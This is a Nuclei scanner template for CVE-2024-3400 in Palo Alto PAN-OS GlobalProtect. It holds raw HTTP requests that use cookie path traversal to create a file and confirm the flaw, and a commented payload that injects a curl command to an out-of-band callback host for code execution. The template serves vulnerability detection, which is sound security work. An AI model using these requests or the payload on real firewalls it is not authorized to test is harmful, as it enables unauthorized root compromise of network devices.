nuclei-templates/http/cves/2024/CVE-2024-3400.yaml

57 lines
2.6 KiB
YAML

id: CVE-2024-3400
info:
name: GlobalProtect - OS Command Injection
author: salts,parthmalhotra
severity: critical
description: |
A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
reference:
- https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
- https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
- https://nvd.nist.gov/vuln/detail/CVE-2024-3400
- https://github.com/zam89/CVE-2024-3400-pot
- https://github.com/ZephrFish/CVE-2024-3400-Canary
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-3400
cwe-id: CWE-20,CWE-77
epss-score: 0.95703
epss-percentile: 0.99417
cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: paloaltonetworks
product: pan-os
shodan-query: http.favicon.hash:-631559155
fofa-query: icon_hash="-631559155"
tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev,intrusive
http:
- raw:
- |
GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
Host: {{Hostname}}
- |
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: {{Hostname}}
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
Content-Type: application/x-www-form-urlencoded
user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
- |
GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
Host: {{Hostname}}
# Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command
matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code_1 == 404 && status_code_3 == 403
- contains(body_2, 'invalid required input parameters')
condition: and
# digest: 4a0a0047304502210097e7c06d535f21e4ee301a8bf020f8f4a5a6667b450ceb48d188567cc43459210220349129284fd3663abeb841c36f44ecd03d773aa19eb89af9da6cfc82792d49cf:922c64590222798bb761d5b6d8e72950